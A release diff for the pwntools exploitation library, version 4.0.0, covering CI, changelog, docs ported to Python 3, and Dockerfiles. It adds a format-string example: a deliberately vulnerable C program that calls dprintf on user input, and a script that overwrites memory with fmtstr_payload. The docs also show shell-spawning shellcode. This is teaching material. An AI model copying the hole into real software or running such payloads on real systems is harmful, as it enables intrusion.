Release 4.0.0

Closes #1373 #1379 #1380

.gitignore

@@ -11,6 +11,8 @@ docs/build
 build
 MANIFEST
 dist
+venv
+.vscode
 *.egg-info
 *.core
 .coverage

.travis.yml

@@ -1,4 +1,4 @@
-dist: trusty
+dist: xenial
 language: python
 addons:
   apt:
@@ -13,15 +13,22 @@ addons:
     - zsh
     - pandoc
     - gdb
+    - binutils
+    - qemu-user-static
+    - binutils-multiarch
+    - binutils-aarch64-linux-gnu
+    - binutils-arm-linux-gnueabihf
+    - binutils-mips-linux-gnu
+    - binutils-powerpc-linux-gnu
 cache:
     - pip
     - directories:
         - usr
-        - /home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/
-        - /home/travis/virtualenv/python2.7.13/bin/
-sudo: required
+        - /home/travis/virtualenv/python2.7.15/lib/python2.7/site-packages/
+        - /home/travis/virtualenv/python2.7.15/bin/
 python:
-  - "2.7"
+  - "2.7.15"
+  - "3.6"
 before_install:
   - echo $-
   - source travis/install.sh
@@ -30,13 +37,14 @@ before_install:
 install:
   - pip install --upgrade pip
   - pip install --upgrade appdirs # https://github.com/ActiveState/appdirs/issues/89#issuecomment-282326570
+  - python setup.py egg_info      # pypa/pip#6275
   - pip install --upgrade --editable .
   - pip install --upgrade --requirement docs/requirements.txt
 before_script:
-  - PWNLIB_NOTERM=1 python -c 'from pwn import *; print pwnlib.term.term_mode'
-  - PWNLIB_NOTERM=1 python -c 'from pwn import *; print pwnlib.term.term_mode'
-  - PWNLIB_NOTERM=1 python -c 'from pwn import *; print pwnlib.term.term_mode'
-  - PWNLIB_NOTERM=1 python -c 'from pwn import *; print pwnlib.term.term_mode'
+  - PWNLIB_NOTERM=1 python -c 'from pwn import *; print(pwnlib.term.term_mode)'
+  - PWNLIB_NOTERM=1 python -c 'from pwn import *; print(pwnlib.term.term_mode)'
+  - PWNLIB_NOTERM=1 python -c 'from pwn import *; print(pwnlib.term.term_mode)'
+  - PWNLIB_NOTERM=1 python -c 'from pwn import *; print(pwnlib.term.term_mode)'
 script:
   - PWNLIB_NOTERM=1 coverage run -m sphinx -b doctest docs/source docs/build/doctest
 after_success:

CHANGELOG.md

@@ -9,9 +9,12 @@ The table below shows which release corresponds to each branch, and what date th
 
 | Version          | Branch   | Release Date           |
 | ---------------- | -------- | ---------------------- |
-| [3.14.0](#3130)  | `dev`    | Jun 12, 2018 (planned)
-| [3.13.0](#3130)  | `beta`   | Mar 31, 2018 (planned)
-| [3.12.0](#3120)  | `stable` | Feb 22, 2018
+| [4.2.0](#420)    | `dev`    | Feb 10, 2020 (planned)
+| [4.1.0](#410)    | `beta`   | Jan 30, 2020 (planned)
+| [4.0.0](#400)    | `stable` | Jan 09, 2020
+| [3.13.0](#3130)  |          | Nov 5, 2019
+| [3.12.1](#3121)  |          | Sept 17, 2018
+| [3.12.0](#3120)  |          | Feb 22, 2018
 | [3.11.0](#3110)  |          | Jan 3, 2018
 | [3.10.0](#3100)  |          | Oct 25, 2017
 | [3.9.2](#392)    |          | Oct 5, 2017
@@ -42,13 +45,59 @@ The table below shows which release corresponds to each branch, and what date th
 | [3.0.0](#300)    |          | Aug 20, 2016
 | [2.2.0](#220)    |          | Jan 5, 2015
 
-## 3.14.0
+## 4.2.0 (`dev`)
 
-To be released on Jun 12, 2018.
+To be released on Feb 10, 2020.
+
+## 4.1.0 (`beta`)
+
+To be released on Jan 30, 2020.
+
+- [#1316][1316] Fix connect shellcraft in python 3
+- [#1323][1323] Fix issues related with debugging
+- [#1001][1001] Enhance `unlock_bootloader` with better status messages
+- [#1389][1389] remove old dependencies
+- [#1241][1241] Launch QEMU with sysroot if specified
+- [#1218][1218] Support for FileStructure exploitation
+
+[1241]: https://github.com/Gallopsled/pwntools/pulls/1218
+[1218]: https://github.com/Gallopsled/pwntools/pulls/1218
+
+## 4.0.0 (`stable`)
+
+- **Python 3 support! <3**
+- [#1402][1402] Fix serialtube in python 3
+- [#1391][1391] Fix process.libs
+- [#1317][1317] Tubes with `context.encoding`
+- [#1216][1216] Improve format string generator
+- [#1285][1285] Add freebsd generic syscall templates
+- [76413f][76413f] Add pwnlib.adb.bootimg for 'ANDROID!' format boot.img images
+- [#1202][1202] Docker: Kill 14 layers in pwntools base images
+- [#1182][1182] shellcraft.dupio() for mips
+
+[1391]: https://github.com/Gallopsled/pwntools/pulls/1391
+[1317]: https://github.com/Gallopsled/pwntools/pulls/1317
+[1285]: https://github.com/Gallopsled/pwntools/pulls/1285
+[1216]: https://github.com/Gallopsled/pwntools/pulls/1216
+[1202]: https://github.com/Gallopsled/pwntools/pulls/1202
+[1182]: https://github.com/Gallopsled/pwntools/pulls/1182
+[76413f]: https://github.com/Gallopsled/pwntools/commit/76413f
 
 ## 3.13.0
 
-To be released on Mar 31, 2018.
+- [#1204][1204] Reduce ROP cache filename length
+- [#1175][1175] Fix nested SSH connectors
+- [#1355][1355] Fix 'break' syscall
+- [#1277][1277] Fix timeout parameter passing in sendlineafter and other similar functions
+- [#1292][1292] Provide correct arch name to gdb for sparc64
+
+[1175]: https://github.com/Gallopsled/pwntools/pulls/1175
+[1204]: https://github.com/Gallopsled/pwntools/pulls/1355
+[1277]: https://github.com/Gallopsled/pwntools/pulls/1277
+[1292]: https://github.com/Gallopsled/pwntools/pulls/1292
+[1355]: https://github.com/Gallopsled/pwntools/pulls/1355
+
+## 3.12.1
 
 - [#1104][1104] Add `DynELF.dump()` for dumping remote ELF files
 - [#1101][1101] Set `context.os` via `context.binary`, useful for Android exploitation
@@ -56,22 +105,53 @@ To be released on Mar 31, 2018.
 - [63dfed][63dfed] Print warning when Corefile deletion fails instead of throwing an exception
 - [#1094][1094] Make hexdump output alignment more consistent
 - [#1096][1096] `flat()` and `fit()` are now the same function
-- [#1068][1068] Work around very old OpenSSL versions which don't have sha256 support *AND* don't exit with an error code when trying to use it
 
 [1104]: https://github.com/Gallopsled/pwntools/pull/1104
 [1101]: https://github.com/Gallopsled/pwntools/pull/1101
 [1094]: https://github.com/Gallopsled/pwntools/pull/1094
 [1096]: https://github.com/Gallopsled/pwntools/pull/1096
-[1068]: https://github.com/Gallopsled/pwntools/pull/1068
 [5fdc08]: https://github.com/Gallopsled/pwntools/commit/5fdc08
 [63dfed]: https://github.com/Gallopsled/pwntools/commit/63dfed
 
+## 3.12.2
+
+- [1242][1242] Use IntervalTree 2.xx, disallow use of 3.xx
+- [1243][1243] Fix a typo that caused an exception when executing a binary with `process()` which returns `-ENOEXEC` and the system does not have `qemu-user` binaries installed.
+
+[1242]: https://github.com/Gallopsled/pwntools/pull/1242
+[1243]: https://github.com/Gallopsled/pwntools/pull/1243
+
+## 3.12.1
+
+- [#1198][1198] More compatibility fixes for pyelftools==0.25, and pin Sphinx<1.8.0 since it causes testing errors
+- [#1191][1191] Fix compatibility with pyelftools==0.25
+- [#1159][1159] Fix check for `/proc/.../status`
+- [#1162][1162] Fix broken package versions
+- [#1150][1150] Fix exception raised when a cache file is missing
+- [#1156][1156] Fix ROP gadget selection logic involving `int` and `syscall` instructions
+- [#1152][1152] Fix QEMU LD_PREFIX calculation (wrong parameter passed)
+- [#1155][1155] Use Ubuntu Trusty for all CI builds
+- [#1131][1131] Add "libc-" to libc prefixes in `process` tubes
+- [#1125][1125] Fix a typo
+- [#1121][1121] Fix tests which were broken by an upstream Sphinx change
+
+[1159]: https://github.com/Gallopsled/pwntools/pull/1159
+[1162]: https://github.com/Gallopsled/pwntools/pull/1162
+[1150]: https://github.com/Gallopsled/pwntools/pull/1150
+[1156]: https://github.com/Gallopsled/pwntools/pull/1156
+[1152]: https://github.com/Gallopsled/pwntools/pull/1152
+[1155]: https://github.com/Gallopsled/pwntools/pull/1155
+[1131]: https://github.com/Gallopsled/pwntools/pull/1131
+[1125]: https://github.com/Gallopsled/pwntools/pull/1125
+[1121]: https://github.com/Gallopsled/pwntools/pull/1121
+
 ## 3.12.0
 
 - [#1083][1083] Better error messages for `gdb` when `LD_PRELOAD` is incorrect
 - [#1085][1085] Add support for extracting Android `BOOTLDR!` images
 - [#1075][1075] Add support for detecting GNU Screen for `run_in_new_terminal`
 - [#1074][1074] Add support for running `pwntools-gdb` wrapper script instead of `gdb`
+- [#1068][1068] Work around very old OpenSSL versions which don't have sha256 support *AND* don't exit with an error code when trying to use it
 - [#1067][1067] Add `pwnlib.tubes.server` module, which adds a reusable `server` listener
 - [#1063][1063] Add support for labels in `fit()`, allowing dynamic contents to be injected.  (This feature is really cool, check out the pull request!)
 
@@ -79,6 +159,7 @@ To be released on Mar 31, 2018.
 [1085]: https://github.com/Gallopsled/pwntools/pull/1085
 [1075]: https://github.com/Gallopsled/pwntools/pull/1075
 [1074]: https://github.com/Gallopsled/pwntools/pull/1074
+[1068]: https://github.com/Gallopsled/pwntools/pull/1068
 [1067]: https://github.com/Gallopsled/pwntools/pull/1067
 [1063]: https://github.com/Gallopsled/pwntools/pull/1063
 

README.md

@@ -2,7 +2,7 @@
 ![pwntools logo](https://github.com/Gallopsled/pwntools/blob/stable/docs/source/logo.png?raw=true)
 
 [![Docs](https://readthedocs.org/projects/pwntools/badge/?version=stable)](https://docs.pwntools.com/)
-[![PyPI](https://img.shields.io/badge/pypi-v3.12.1-green.svg?style=flat)](https://pypi.python.org/pypi/pwntools/)
+[![PyPI](https://img.shields.io/badge/pypi-v3.13.0-green.svg?style=flat)](https://pypi.python.org/pypi/pwntools/)
 [![Travis](https://travis-ci.org/Gallopsled/pwntools.svg)](https://travis-ci.org/Gallopsled/pwntools)
 [![Coveralls](https://img.shields.io/coveralls/Gallopsled/pwntools/dev.svg)](https://coveralls.io/github/Gallopsled/pwntools?branch=dev)
 [![Twitter](https://img.shields.io/badge/twitter-pwntools-4099FF.svg?style=flat)](https://twitter.com/pwntools)
@@ -32,15 +32,15 @@ To get you started, we've provided some example solutions for past CTF challenge
 
 # Installation
 
-Pwntools is best supported on 64-bit Ubuntu LTE releases (12.04, 14.04, and 16.04).  Most functionality should work on any Posix-like distribution (Debian, Arch, FreeBSD, OSX, etc.).  Python 2.7 is required.
+Pwntools is best supported on 64-bit Ubuntu LTE releases (12.04, 14.04, 16.04 and 18.04).  Most functionality should work on any Posix-like distribution (Debian, Arch, FreeBSD, OSX, etc.).  Python >= 2.7 is required (Python 3 suggested as best).
 
 Most of the functionality of pwntools is self-contained and Python-only.  You should be able to get running quickly with
 
 ```sh
 apt-get update
-apt-get install python2.7 python-pip python-dev git libssl-dev libffi-dev build-essential
-pip install --upgrade pip
-pip install --upgrade pwntools
+apt-get install python3 python3-pip python3-dev git libssl-dev libffi-dev build-essential
+python3 -m pip install --upgrade pip
+python3 -m pip install --upgrade git+https://github.com/Gallopsled/pwntools.git@dev3
 ```
 
 However, some of the features (assembling/disassembling foreign architectures) require non-Python dependencies.  For more information, see the [complete installation instructions here](https://docs.pwntools.com/en/stable/install.html).

docs/dashbuild.py

@@ -44,7 +44,7 @@ def main(args):
 		doc2dash.__main__.main.main( \
 			[ os.path.join(dstdir, "html"), "-d", dstdir, "-n", name, \
 					"-f", "-I", "index.html"], "doc2dash", False)
-	except SystemExit,e:
+	except SystemExit as e:
 		pass
 
 	# Insert a link to the online version.

docs/requirements.txt

@@ -1,17 +1,17 @@
-sphinxcontrib-napoleon
-sphinxcontrib-autoprogram==0.1.4
-isort
-paramiko>=1.15.2
-mako>=1.0.0
-pyelftools>=0.2.3
 capstone
-ropgadget>=5.3
+coveralls
+doc2dash
+isort
+mako>=1.0.0
+paramiko>=1.15.2
+pip>=6.0.8
+pyelftools>=0.2.3
+pygments>=2.0
 pyserial>=2.7
 requests>=2.5.1
-pip>=6.0.8
-tox>=1.8.1
-pygments>=2.0
+ropgadget>=5.3
+sphinx
 sphinx_rtd_theme
-doc2dash
-coveralls
-sphinx<1.8.0
+sphinxcontrib-napoleon
+sphinxcontrib-autoprogram
+tox>=1.8.1

docs/source/adb.rst

@@ -1,5 +1,6 @@
 .. testsetup:: *
 
+   from pprint import pprint
    from pwn import *
    adb = pwnlib.adb
 

docs/source/asm.rst

@@ -6,6 +6,7 @@
    from pwnlib.asm import *
    from pwnlib import shellcraft
    from pwnlib.tubes.process import process
+   from pwnlib.util.fiddling import unhex
 
 
 :mod:`pwnlib.asm` --- Assembler functions

docs/source/conf.py

@@ -12,6 +12,8 @@
 # serve to show the default.
 
 import os
+import doctest
+import six
 import subprocess
 import sys
 
@@ -67,9 +69,9 @@ doctest_global_setup = '''
 import sys, os
 os.environ['PWNLIB_NOTERM'] = '1'
 os.environ['PWNLIB_RANDOMIZE'] = '0'
-import pwnlib
+import pwnlib, logging
 pwnlib.context.context.reset_local()
-pwnlib.context.ContextType.defaults['log_level'] = 'ERROR'
+pwnlib.context.ContextType.defaults['log_level'] = logging.ERROR
 pwnlib.context.ContextType.defaults['randomize'] = False
 pwnlib.util.fiddling.default_style = {}
 pwnlib.term.text.when = 'never'
@@ -311,13 +313,13 @@ texinfo_documents = [
 branch = release
 
 try:
-    git_branch = subprocess.check_output('git describe --tags', shell = True)
+    git_branch = subprocess.check_output('git describe --tags', shell = True, universal_newlines = True)
 except subprocess.CalledProcessError:
     git_branch = '-'
 
 try:
     if '-' in git_branch:
-        branch = subprocess.check_output('git rev-parse HEAD', shell = True).strip()[:10]
+        branch = subprocess.check_output('git rev-parse HEAD', shell = True, universal_newlines = True).strip()[:10]
 except subprocess.CalledProcessError:
     pass
 
@@ -345,11 +347,11 @@ def linkcode_resolve(domain, info):
     else:
         filename = info['module'].replace('.', '/') + '.py'
 
-        if isinstance(val, (types.ModuleType, types.ClassType, types.MethodType, types.FunctionType, types.TracebackType, types.FrameType, types.CodeType)):
+        if isinstance(val, (types.ModuleType, types.MethodType, types.FunctionType, types.TracebackType, types.FrameType, types.CodeType) + six.class_types):
             try:
                 lines, first = inspect.getsourcelines(val)
                 filename += '#L%d-%d' % (first, first + len(lines) - 1)
-            except IOError:
+            except (IOError, TypeError):
                 pass
 
     return "https://github.com/Gallopsled/pwntools/blob/%s/%s" % (branch, filename)
@@ -378,27 +380,25 @@ from sphinx.util.inspect import safe_getmembers, safe_getattr
 def dont_skip_any_doctests(app, what, name, obj, skip, options):
     return False
 
-# Test non-exported members
-class ModuleDocumenter(sphinx.ext.autodoc.ModuleDocumenter):
-    def get_object_members(self, want_all):
-        if want_all:
-            # if not hasattr(self.object, '__all__'):
-            #     for implicit module members, check __module__ to avoid
-            #     documenting imported objects
-                return True, safe_getmembers(self.object)
-            # else:
-            #     memberlist = self.object.__all__
-            #     # Sometimes __all__ is broken...
-            #     if not isinstance(memberlist, (list, tuple)) or not \
-            #        all(isinstance(entry, string_types) for entry in memberlist):
-            #         self.directive.warn(
-            #             '__all__ should be a list of strings, not %r '
-            #             '(in module %s) -- ignoring __all__' %
-            #             (memberlist, self.fullname))
-            #         # fall back to all members
-            #         return True, safe_getmembers(self.object)
-        else:
-            memberlist = self.options.members or []
+def get_object_members_all(self, want_all):
+    if want_all:
+        # if not hasattr(self.object, '__all__'):
+        #     for implicit module members, check __module__ to avoid
+        #     documenting imported objects
+        return True, safe_getmembers(self.object)
+    # else:
+    #     memberlist = self.object.__all__
+    #     # Sometimes __all__ is broken...
+    #     if not isinstance(memberlist, (list, tuple)) or not \
+        #        all(isinstance(entry, string_types) for entry in memberlist):
+    #         self.directive.warn(
+    #             '__all__ should be a list of strings, not %r '
+    #             '(in module %s) -- ignoring __all__' %
+    #             (memberlist, self.fullname))
+    #         # fall back to all members
+    #         return True, safe_getmembers(self.object)
+    else:
+        memberlist = self.options.members or []
         ret = []
         for mname in memberlist:
             try:
@@ -410,8 +410,38 @@ class ModuleDocumenter(sphinx.ext.autodoc.ModuleDocumenter):
                         safe_getattr(self.object, '__name__', '???'), mname))
         return False, ret
 
+class _DummyClass(object): pass
+
+class Py2OutputChecker(_DummyClass, doctest.OutputChecker):
+    def check_output(self, want, got, optionflags):
+        sup = super(Py2OutputChecker, self).check_output
+        if sup(want, got, optionflags):
+            return True
+        try:
+            rly_want = pwnlib.util.safeeval.const(want)
+            if sup(repr(rly_want), got, optionflags):
+                return True
+            rly_got = pwnlib.util.safeeval.const(got)
+            if rly_want == rly_got:
+                return True
+        except ValueError:
+            pass
+        rly_want = ' '.join(x[:2].replace('b"','"').replace("b'","'")+x[2:] for x in want.replace('\n','\n ').split(' ')).replace('\n ','\n')
+        if sup(rly_want, got, optionflags):
+            return True
+        rly_want = ' '.join(x[:2].replace('b"',' "').replace("b'"," '")+x[2:] for x in want.replace('\n','\n ').split(' ')).replace('\n ','\n')
+        return sup(rly_want, got, optionflags)
+
+def py2_doctest_init(self, checker=None, verbose=None, optionflags=0):
+    if checker is None:
+        checker = Py2OutputChecker()
+    doctest.DocTestRunner.__init__(self, checker, verbose, optionflags)
+
 if 'doctest' in sys.argv:
     def setup(app):
         app.connect('autodoc-skip-member', dont_skip_any_doctests)
 
-    sphinx.ext.autodoc.ModuleDocumenter = ModuleDocumenter
+    if sys.version_info[:1] < (3,):
+        import sphinx.ext.doctest
+        sphinx.ext.doctest.SphinxDocTestRunner.__init__ = py2_doctest_init
+    sphinx.ext.autodoc.ModuleDocumenter.get_object_members = get_object_members_all

docs/source/elf/elf.rst

@@ -2,6 +2,7 @@
 
    from pwn import *
    from glob import glob
+   from pwnlib.elf.maps import CAT_PROC_MAPS_EXIT
 
 :mod:`pwnlib.elf.elf` --- ELF Files
 ===========================================================

docs/source/intro.rst

@@ -29,12 +29,12 @@ For example, remote connections via :mod:`pwnlib.tubes.remote`.
 
     >>> conn = remote('ftp.ubuntu.com',21)
     >>> conn.recvline() # doctest: +ELLIPSIS
-    '220 ...'
-    >>> conn.send('USER anonymous\r\n')
-    >>> conn.recvuntil(' ', drop=True)
-    '331'
+    b'220 ...'
+    >>> conn.send(b'USER anonymous\r\n')
+    >>> conn.recvuntil(b' ', drop=True)
+    b'331'
     >>> conn.recvline()
-    'Please specify the password.\r\n'
+    b'Please specify the password.\r\n'
     >>> conn.close()
 
 It's also easy to spin up a listener
@@ -42,20 +42,20 @@ It's also easy to spin up a listener
     >>> l = listen()
     >>> r = remote('localhost', l.lport)
     >>> c = l.wait_for_connection()
-    >>> r.send('hello')
+    >>> r.send(b'hello')
     >>> c.recv()
-    'hello'
+    b'hello'
 
 Interacting with processes is easy thanks to :mod:`pwnlib.tubes.process`.
 
 ::
 
     >>> sh = process('/bin/sh')
-    >>> sh.sendline('sleep 3; echo hello world;')
+    >>> sh.sendline(b'sleep 3; echo hello world;')
     >>> sh.recvline(timeout=1)
-    ''
+    b''
     >>> sh.recvline(timeout=5)
-    'hello world\n'
+    b'hello world\n'
     >>> sh.close()
 
 Not only can you interact with processes programmatically, but you can
@@ -74,14 +74,14 @@ a ``process`` tube.
 
     >>> shell = ssh('bandit0', 'bandit.labs.overthewire.org', password='bandit0', port=2220)
     >>> shell['whoami']
-    'bandit0'
+    b'bandit0'
     >>> shell.download_file('/etc/motd')
     >>> sh = shell.run('sh')
-    >>> sh.sendline('sleep 3; echo hello world;') # doctest: +SKIP
+    >>> sh.sendline(b'sleep 3; echo hello world;') # doctest: +SKIP
     >>> sh.recvline(timeout=1)
-    ''
+    b''
     >>> sh.recvline(timeout=5)
-    'hello world\n'
+    b'hello world\n'
     >>> shell.close()
 
 Packing Integers
@@ -97,13 +97,13 @@ unpacking codes, and littering your code with helper routines.
     >>> import struct
     >>> p32(0xdeadbeef) == struct.pack('I', 0xdeadbeef)
     True
-    >>> leet = '37130000'.decode('hex')
-    >>> u32('abcd') == struct.unpack('I', 'abcd')[0]
+    >>> leet = unhex('37130000')
+    >>> u32(b'abcd') == struct.unpack('I', b'abcd')[0]
     True
 
 The packing/unpacking operations are defined for many common bit-widths.
 
-    >>> u8('A') == 0x41
+    >>> u8(b'A') == 0x41
     True
 
 Setting the Target Architecture and OS
@@ -112,9 +112,9 @@ Setting the Target Architecture and OS
 The target architecture can generally be specified as an argument to the routine that requires it.
 
     >>> asm('nop')
-    '\x90'
+    b'\x90'
     >>> asm('nop', arch='arm')
-    '\x00\xf0 \xe3'
+    b'\x00\xf0 \xe3'
 
 However, it can also be set once in the global ``context``.  The operating system, word size, and endianness can also be set here.
 
@@ -126,10 +126,10 @@ However, it can also be set once in the global ``context``.  The operating syste
 Additionally, you can use a shorthand to set all of the values at once.
 
     >>> asm('nop')
-    '\x90'
+    b'\x90'
     >>> context(arch='arm', os='linux', endian='big', word_size=32)
     >>> asm('nop')
-    '\xe3 \xf0\x00'
+    b'\xe3 \xf0\x00'
 
 .. doctest::
    :hide:
@@ -158,12 +158,12 @@ Assembly and Disassembly
 Never again will you need to run some already-assembled pile of shellcode
 from the internet!  The :mod:`pwnlib.asm` module is full of awesome.
 
-    >>> asm('mov eax, 0').encode('hex')
+    >>> enhex(asm('mov eax, 0'))
     'b800000000'
 
 But if you do, it's easy to suss out!
 
-    >>> print disasm('6a0258cd80ebf9'.decode('hex'))
+    >>> print(disasm(unhex('6a0258cd80ebf9')))
        0:   6a 02                   push   0x2
        2:   58                      pop    eax
        3:   cd 80                   int    0x80
@@ -176,7 +176,7 @@ loaded with useful time-saving shellcodes.
 Let's say that we want to `setreuid(getuid(), getuid())` followed by `dup`ing
 file descriptor 4 to `stdin`, `stdout`, and `stderr`, and then pop a shell!
 
-    >>> asm(shellcraft.setreuid() + shellcraft.dupsh(4)).encode('hex') # doctest: +ELLIPSIS
+    >>> enhex(asm(shellcraft.setreuid() + shellcraft.dupsh(4))) # doctest: +ELLIPSIS
     '6a3158cd80...'
 
 
@@ -188,10 +188,10 @@ Never write another hexdump, thanks to :mod:`pwnlib.util.fiddling`.
 
 Find offsets in your buffer that cause a crash, thanks to :mod:`pwnlib.cyclic`.
 
-    >>> print cyclic(20)
+    >>> print(cyclic(20).decode())
     aaaabaaacaaadaaaeaaa
-    >>> # Assume EIP = 0x62616166 ('faab' which is pack(0x62616166))  at crash time
-    >>> print cyclic_find('faab')
+    >>> # Assume EIP = 0x62616166 (b'faab' which is pack(0x62616166))  at crash time
+    >>> print(cyclic_find(b'faab'))
     120
 
 ELF Manipulation
@@ -200,22 +200,22 @@ ELF Manipulation
 Stop hard-coding things!  Look them up at runtime with :mod:`pwnlib.elf`.
 
     >>> e = ELF('/bin/cat')
-    >>> print hex(e.address) #doctest: +SKIP
+    >>> print(hex(e.address)) #doctest: +SKIP
     0x400000
-    >>> print hex(e.symbols['write']) #doctest: +SKIP
+    >>> print(hex(e.symbols['write'])) #doctest: +SKIP
     0x401680
-    >>> print hex(e.got['write']) #doctest: +SKIP
+    >>> print(hex(e.got['write'])) #doctest: +SKIP
     0x60b070
-    >>> print hex(e.plt['write']) #doctest: +SKIP
+    >>> print(hex(e.plt['write'])) #doctest: +SKIP
     0x401680
 
 You can even patch and save the files.
 
     >>> e = ELF('/bin/cat')
     >>> e.read(e.address, 4)
-    '\x7fELF'
+    b'\x7fELF'
     >>> e.asm(e.address, 'ret')
     >>> e.save('/tmp/quiet-cat')
-    >>> disasm(file('/tmp/quiet-cat','rb').read(1))
+    >>> disasm(open('/tmp/quiet-cat','rb').read(1))
     '   0:   c3                      ret'
 

docs/source/term.rst

@@ -3,3 +3,9 @@
 
 .. automodule:: pwnlib.term
    :members:
+
+Term Modules
+-------------------
+
+.. toctree::
+    term/readline

docs/source/tubes/buffer.rst

@@ -0,0 +1,9 @@
+.. testsetup:: *
+
+   from pwnlib.tubes.buffer import *
+
+:mod:`pwnlib.tubes.buffer` --- buffer implementation for tubes
+==============================================================
+
+.. automodule:: pwnlib.tubes.buffer
+   :members:

docs/source/util/getdents.rst

@@ -0,0 +1,11 @@
+.. testsetup:: *
+
+   from pwnlib.util.getdents import *
+   from pwnlib.util.fiddling import unhex
+
+
+:mod:`pwnlib.util.getdents` --- Linux binary directory listing
+==============================================================
+
+.. automodule:: pwnlib.util.getdents
+   :members:

docs/source/util/misc.rst

@@ -1,5 +1,6 @@
 .. testsetup:: *
 
+   from pprint import pprint
    from pwnlib.util.misc import *
    import os, subprocess
    os.chdir("..")

docs/source/util/proc.rst

@@ -1,6 +1,7 @@
 .. testsetup:: *
 
    from pwnlib.util.proc import *
+   from pwnlib.tubes.process import process
    import os, sys
 
 

examples/fmtstr/Makefile

@@ -0,0 +1,51 @@
+CFLAGS := -Wno-unused-result -Wno-format-security
+TARGETS := printf.mips printf.mips64 printf.mipsel printf.mips64el printf.arm printf.aarch64 \
+	         printf.ppc printf.ppc64 printf.sparc64 printf.native printf.native32
+
+.PHONY: run
+run: all
+	./exploit.py
+
+.PHONY: all
+all: $(TARGETS)
+
+.PHONY: clean
+clean:
+	rm -f $(TARGETS)
+
+# mips variants
+%.mips: %.c
+	mips-linux-gnu-gcc $(CFLAGS) -static -Os -o "$@" $^
+%.mipsel: %.c
+	mipsel-linux-gnu-gcc $(CFLAGS) -static -Os -o "$@" $^
+%.mips64: %.c
+	mips64-linux-gnuabi64-gcc $(CFLAGS) -static -Os -o "$@" $^
+%.mips64el: %.c
+	mips64el-linux-gnuabi64-gcc $(CFLAGS) -static -Os -o "$@" $^
+
+# arm variants
+%.arm: %.c
+	arm-linux-gnueabi-gcc $(CFLAGS) -static -Os -o "$@" $^
+%.aarch64: %.c
+	aarch64-linux-gnu-gcc $(CFLAGS) -static -Os -o "$@" $^
+
+# ppc variants
+%.ppc: %.c
+	powerpc-linux-gnu-gcc $(CFLAGS) -static -Os -o "$@" $^
+%.ppc64: %.c
+	powerpc64-linux-gnu-gcc $(CFLAGS) -static -Os -o "$@" $^
+
+# sparc variants
+%.sparc64: %.c
+	sparc64-linux-gnu-gcc $(CFLAGS) -static -Os -o "$@" $^
+
+# native variants
+%.native: %.c
+	gcc $(CFLAGS) -o "$@" $^
+%.native32: %.c
+	i686-linux-gnu-gcc $(CFLAGS) -o "$@" $^
+
+# install deps on ubuntu xenial
+.PHONY: install-apt
+install-apt:
+	apt-get install -y make gcc-mips64el-linux-gnuabi64 gcc-sparc64-linux-gnu gcc-powerpc64-linux-gnu gcc-powerpc-linux-gnu gcc-arm-linux-gnueabi gcc-aarch64-linux-gnu gcc-mips64-linux-gnuabi64 gcc-mipsel-linux-gnu gcc-mips64el-linux-gnuabi64 gcc-mips-linux-gnu gcc-i686-linux-gnu gcc

examples/fmtstr/exploit.py

@@ -0,0 +1,39 @@
+#!/usr/bin/env python2
+from pwn import *
+
+@context.quiet
+def exec_fmt(payload):
+    p = context.binary.process()
+    p.sendline(payload)
+    return p.recvall()
+
+def exploit(binary):
+    context.binary = ELF(binary)
+    autofmt = FmtStr(exec_fmt)
+    offset = autofmt.offset
+    with context.binary.process() as p:
+        addr = unpack(p.recv(context.bytes))
+        payload = fmtstr_payload(offset, {addr: p32(0x1337babe)})
+        p.sendline(payload)
+        p.recvuntil("DONE")
+        print hex(u32(p.recv(4)))
+
+binaries = [
+    "printf.mips",
+    "printf.mips64",
+    "printf.mipsel",
+    "printf.mips64el",
+    "printf.native",
+    "printf.native32",
+    "printf.ppc",
+    "printf.ppc64",
+    "printf.sparc64",
+    "printf.arm",
+    "printf.aarch64",
+]
+
+if len(sys.argv) > 1:
+    binaries = sys.argv[1:]
+
+for binary in binaries:
+    exploit(binary)

examples/fmtstr/printf.c

@@ -0,0 +1,29 @@
+#ifdef _FORTIFY_SOURCE
+#undef _FORTIFY_SOURCE
+#endif
+#include <stdio.h>
+#include <stdlib.h>
+#include <unistd.h>
+#include <sys/mman.h>
+#define MEMORY_ADDRESS ((void*)0x11110000)
+#define MEMORY_SIZE 1024
+#define TARGET ((int *) 0x11110100)
+int main(int argc, char const *argv[])
+{
+       char buff[1024];
+       void *ptr = NULL;
+       int *my_var = TARGET;
+       ptr = mmap(MEMORY_ADDRESS, MEMORY_SIZE, PROT_READ|PROT_WRITE, MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE, 0, 0);
+       if(ptr != MEMORY_ADDRESS)
+       {
+               perror("mmap");
+               return EXIT_FAILURE;
+       }
+       *my_var = 0x41414141;
+       write(1, &my_var, sizeof(int *));
+       scanf("%s", buff);
+       dprintf(2, buff);
+       write(1, "DONE", 4);
+       write(1, my_var, sizeof(int));
+       return 0;
+}

extra/docker/kali/Dockerfile

@@ -6,21 +6,21 @@
 FROM kalilinux/kali-linux-docker
 MAINTAINER Maintainer Gallopsled et al.
 
-RUN apt-get update
-RUN apt-get install -y build-essential
-RUN apt-get install -y git
-RUN apt-get install -y libssl-dev
-RUN apt-get install -y libffi-dev
-RUN apt-get install -y python2.7
-RUN apt-get install -y python-pip
-RUN apt-get install -y python-dev
-RUN pip install --upgrade pip
-RUN python -m pip install --upgrade pwntools
-RUN PWNLIB_NOTERM=1 pwn update
-
-RUN apt-get install -y sudo
-RUN useradd -m pwntools
-RUN passwd --delete --unlock pwntools
-RUN echo "pwntools ALL=(ALL:ALL) NOPASSWD: ALL" > /etc/sudoers.d/pwntools
+RUN apt-get update \
+    && apt-get install -y \
+        build-essential \
+        git \
+        libssl-dev \
+        libffi-dev \
+        python2.7 \
+        python-pip \
+        python-dev \
+    && pip install --upgrade pip \
+    && python -m pip install --upgrade pwntools \
+    && PWNLIB_NOTERM=1 pwn update \
+    && apt-get install -y sudo \
+    && useradd -m pwntools \
+    && passwd --delete --unlock pwntools \
+    && echo "pwntools ALL=(ALL:ALL) NOPASSWD: ALL" > /etc/sudoers.d/pwntools
 USER pwntools
 WORKDIR /home/pwntools

extra/docker/precise/Dockerfile

@@ -6,21 +6,21 @@
 FROM ubuntu:precise
 MAINTAINER Maintainer Gallopsled et al.
 
-RUN apt-get update
-RUN apt-get install -y build-essential
-RUN apt-get install -y git
-RUN apt-get install -y libssl-dev
-RUN apt-get install -y libffi-dev
-RUN apt-get install -y python2.7
-RUN apt-get install -y python-pip
-RUN apt-get install -y python-dev
-RUN pip install --upgrade pip
